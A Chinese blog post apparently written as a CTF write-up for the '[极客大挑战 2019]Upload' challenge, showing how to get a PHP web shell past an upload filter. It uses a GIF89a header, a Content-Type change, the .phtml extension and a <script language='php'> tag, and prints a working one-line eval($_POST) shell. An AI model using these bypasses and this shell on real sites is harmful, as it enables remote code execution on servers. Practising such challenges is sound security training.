[极客大挑战 2019]Upload

0x00

打开界面,发现是一道上传题

首先我们来测试一下上传的文件类型,新建一个文件命名为1.jpg,进行上传,得到

根据提示我们可以猜测到,对文件头进行了检测,这里我们假设使用的是exif_imagetype函数,在文件里第一行加上GIF89a来绕过,上传得到结果如下

上传成功,说明我们的假设是正确的,我们将文件重新命名为1.php,进行上传,得到结果如下

说明对文件的拓展名也进行了过滤,进行模糊测试,发现与php相关的全被过滤掉
通过谷歌插件看到站点使用的是nginx,上传.user.ini也上传失败

我们继续假设后端对数据包的Content-Type类型进行了过滤,来进行测试,上传1.php并且通过BurpSuite进行如下修改

得到结果如下,说明后端还对拓展名进行了过滤,继续进行模糊测试

模糊测试后发现没有过滤phtml,上传结果如下

接下来我们上传一句话木马,将1.phtml的内容改为如下

GIF89a
<?php @eval($_POST['pass']);?>

得到结果如下,对内容也进行了过滤

我们将1.phtml的内容改为如下来绕过

GIF89a
<script language="php">@eval($_POST['pass']);</script>

上传后得到如下结果

我们打开1.phtml,经过一系列测试发现被上传到了upload路径下,访问结果如下

打开蚁剑进行连接

获取flag

0x01 总结

  • 1.Content-Type绕过

  • 2.黑名单绕过

  • 3.exif_imagetype函数绕过

  • 4.内容过滤<?绕过

<?php @eval($_POST['pass']); ?>
## 替换为如下
<script language="php">@eval($_POST['pass']);</script>
posted @ 2020-09-08 11:30  she11s  阅读(449)  评论(0编辑  收藏  举报